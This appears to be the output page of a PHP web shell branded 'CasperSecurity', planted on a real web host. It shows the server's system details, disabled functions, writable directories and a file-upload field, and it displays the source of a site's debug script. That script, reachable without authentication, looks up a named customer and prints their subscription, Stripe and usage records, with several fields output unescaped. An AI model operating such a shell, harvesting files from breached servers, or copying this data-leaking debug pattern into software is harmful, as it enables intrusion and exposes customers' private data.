T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/domains/soundstudiopro.com/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/domains/soundstudiopro.com/public_html/debug_stephane_plan.php
<?php
/**
 * Debug Script: Check Stephane's Actual Plan
 * This will show what plan he actually has in the database
 */

session_start();
require_once 'config/database.php';
require_once __DIR__ . '/utils/subscription_helpers.php';

// Find Stephane's user ID
$pdo = getDBConnection();
$stmt = $pdo->prepare("SELECT id, name, email, plan, stripe_customer_id FROM users WHERE email LIKE '%stephane%' OR name LIKE '%stephane%' OR name LIKE '%Stephane%'");
$stmt->execute();
$users = $stmt->fetchAll(PDO::FETCH_ASSOC);

if (empty($users)) {
    die("No user found matching 'stephane'");
}

$user = $users[0];
$user_id = $user['id'];

echo "<h1>Plan Audit for: {$user['name']} (ID: {$user_id})</h1>";
echo "<style>body { font-family: monospace; background: #1a1a1a; color: #fff; padding: 20px; } .section { background: #2a2a2a; padding: 15px; margin: 10px 0; border-radius: 8px; } .good { color: #48bb78; } .bad { color: #e53e3e; } .warning { color: #ffc107; } table { width: 100%; border-collapse: collapse; } th, td { padding: 8px; text-align: left; border: 1px solid #444; }</style>";

// 1. Check users.plan
echo "<div class='section'>";
echo "<h2>1. users.plan Field</h2>";
echo "<p><strong>Plan:</strong> <span class='" . ($user['plan'] !== 'free' ? 'good' : 'bad') . "'>" . htmlspecialchars($user['plan'] ?? 'NULL') . "</span></p>";
echo "</div>";

// 2. Check user_subscriptions table
echo "<div class='section'>";
echo "<h2>2. user_subscriptions Table</h2>";
$sub_stmt = $pdo->prepare("SELECT * FROM user_subscriptions WHERE user_id = ? ORDER BY created_at DESC");
$sub_stmt->execute([$user_id]);
$subscriptions = $sub_stmt->fetchAll(PDO::FETCH_ASSOC);

if (empty($subscriptions)) {
    echo "<p class='warning'>⚠ No subscription records found</p>";
} else {
    echo "<table>";
    echo "<tr><th>ID</th><th>Plan Name</th><th>Status</th><th>Period Start</th><th>Period End</th><th>Stripe ID</th><th>Created</th></tr>";
    foreach ($subscriptions as $sub) {
        $status_class = in_array($sub['status'], ['active', 'trialing']) ? 'good' : 'bad';
        echo "<tr>";
        echo "<td>{$sub['id']}</td>";
        echo "<td class='" . (in_array($sub['plan_name'], ['essential', 'starter', 'pro', 'premium', 'enterprise']) ? 'good' : 'bad') . "'>{$sub['plan_name']}</td>";
        echo "<td class='{$status_class}'>{$sub['status']}</td>";
        echo "<td>{$sub['current_period_start']}</td>";
        echo "<td>{$sub['current_period_end']}</td>";
        echo "<td>" . substr($sub['stripe_subscription_id'], 0, 20) . "...</td>";
        echo "<td>{$sub['created_at']}</td>";
        echo "</tr>";
    }
    echo "</table>";
}
echo "</div>";

// 3. Check what hasActiveSubscription() returns
echo "<div class='section'>";
echo "<h2>3. hasActiveSubscription() Result</h2>";
$active_sub = hasActiveSubscription($user_id);
if ($active_sub) {
    echo "<p class='good'>✓ Active subscription found:</p>";
    echo "<pre>" . print_r($active_sub, true) . "</pre>";
} else {
    echo "<p class='warning'>⚠ No active subscription found</p>";
}
echo "</div>";

// 4. Check what getSubscriptionInfo() returns
echo "<div class='section'>";
echo "<h2>4. getSubscriptionInfo() Result</h2>";
$sub_info = getSubscriptionInfo($user_id);
if ($sub_info) {
    echo "<p class='good'>✓ Subscription info found:</p>";
    echo "<pre>" . print_r($sub_info, true) . "</pre>";
} else {
    echo "<p class='warning'>⚠ No subscription info found</p>";
}
echo "</div>";

// 5. Check what getEffectivePlan() returns
echo "<div class='section'>";
echo "<h2>5. getEffectivePlan() Result</h2>";
$effective_plan = getEffectivePlan($user_id);
echo "<p><strong>Effective Plan:</strong> <span class='" . ($effective_plan !== 'free' ? 'good' : 'bad') . "'>" . htmlspecialchars($effective_plan) . "</span></p>";
echo "</div>";

// 6. Check monthly_track_usage
echo "<div class='section'>";
echo "<h2>6. monthly_track_usage Records</h2>";
$usage_stmt = $pdo->prepare("SELECT * FROM monthly_track_usage WHERE user_id = ? ORDER BY created_at DESC LIMIT 5");
$usage_stmt->execute([$user_id]);
$usage_records = $usage_stmt->fetchAll(PDO::FETCH_ASSOC);

if (empty($usage_records)) {
    echo "<p class='warning'>⚠ No usage records found</p>";
} else {
    echo "<table>";
    echo "<tr><th>ID</th><th>Subscription ID</th><th>Period Start</th><th>Tracks Created</th><th>Track Limit</th><th>Created</th></tr>";
    foreach ($usage_records as $usage) {
        echo "<tr>";
        echo "<td>{$usage['id']}</td>";
        echo "<td>{$usage['subscription_id']}</td>";
        echo "<td>{$usage['subscription_period_start']}</td>";
        echo "<td>{$usage['tracks_created']}</td>";
        echo "<td class='" . ($usage['track_limit'] == 5 ? 'warning' : ($usage['track_limit'] == 20 ? 'good' : '')) . "'>{$usage['track_limit']}</td>";
        echo "<td>{$usage['created_at']}</td>";
        echo "</tr>";
    }
    echo "</table>";
}
echo "</div>";

// 7. What pricing.php would show
echo "<div class='section'>";
echo "<h2>7. What pricing.php Would Show</h2>";
$effective_plan_for_pricing = getEffectivePlan($user_id);
$subscription_info_for_pricing = getEffectiveSubscription($user_id);

$existing_subscription = null;
if ($effective_plan_for_pricing !== 'free' && $subscription_info_for_pricing) {
    $existing_subscription = [
        'plan_name' => $effective_plan_for_pricing,
        'status' => $subscription_info_for_pricing['status'] ?? 'active'
    ];
} elseif ($effective_plan_for_pricing !== 'free') {
    $existing_subscription = [
        'plan_name' => $effective_plan_for_pricing,
        'status' => 'active'
    ];
}

if ($existing_subscription) {
    echo "<p class='good'>✓ Would show as current plan: <strong>{$existing_subscription['plan_name']}</strong> (Status: {$existing_subscription['status']})</p>";
} else {
    echo "<p class='bad'>✗ Would NOT show any plan as current</p>";
}
echo "</div>";

// 8. What manage_subscription.php would show
echo "<div class='section'>";
echo "<h2>8. What manage_subscription.php Would Show</h2>";
$effective_plan_for_manage = getEffectivePlan($user_id);
$subscription_for_manage = getEffectiveSubscription($user_id);

$display_plan = $effective_plan_for_manage;
if ($subscription_for_manage && isset($subscription_for_manage['effective_plan'])) {
    $display_plan = $subscription_for_manage['effective_plan'];
}

echo "<p><strong>Display Plan:</strong> <span class='" . ($display_plan !== 'free' ? 'good' : 'bad') . "'>" . htmlspecialchars($display_plan) . "</span></p>";

if ($subscription_for_manage) {
    echo "<p><strong>Subscription Status:</strong> " . htmlspecialchars($subscription_for_manage['status'] ?? 'unknown') . "</p>";
    echo "<p><strong>Subscription Plan Name:</strong> " . htmlspecialchars($subscription_for_manage['plan_name'] ?? 'unknown') . "</p>";
}
echo "</div>";

// 9. Summary
echo "<div class='section'>";
echo "<h2>9. SUMMARY</h2>";
echo "<ul>";
echo "<li><strong>users.plan:</strong> <span class='" . ($user['plan'] !== 'free' ? 'good' : 'bad') . "'>" . htmlspecialchars($user['plan'] ?? 'NULL') . "</span></li>";
if (!empty($subscriptions)) {
    $latest_sub = $subscriptions[0];
    echo "<li><strong>Latest subscription.plan_name:</strong> <span class='" . (in_array($latest_sub['plan_name'], ['essential', 'starter', 'pro', 'premium', 'enterprise']) ? 'good' : 'bad') . "'>" . htmlspecialchars($latest_sub['plan_name']) . "</span></li>";
    echo "<li><strong>Latest subscription.status:</strong> <span class='" . (in_array($latest_sub['status'], ['active', 'trialing']) ? 'good' : 'bad') . "'>" . htmlspecialchars($latest_sub['status']) . "</span></li>";
}
echo "<li><strong>getEffectivePlan() returns:</strong> <span class='" . ($effective_plan !== 'free' ? 'good' : 'bad') . "'>" . htmlspecialchars($effective_plan) . "</span></li>";
echo "<li><strong>pricing.php would show:</strong> " . ($existing_subscription ? "<span class='good'>{$existing_subscription['plan_name']}</span>" : "<span class='bad'>Nothing</span>") . "</li>";
echo "<li><strong>manage_subscription.php would show:</strong> <span class='" . ($display_plan !== 'free' ? 'good' : 'bad') . "'>" . htmlspecialchars($display_plan) . "</span></li>";
echo "</ul>";
echo "</div>";

?>


CasperSecurity Mini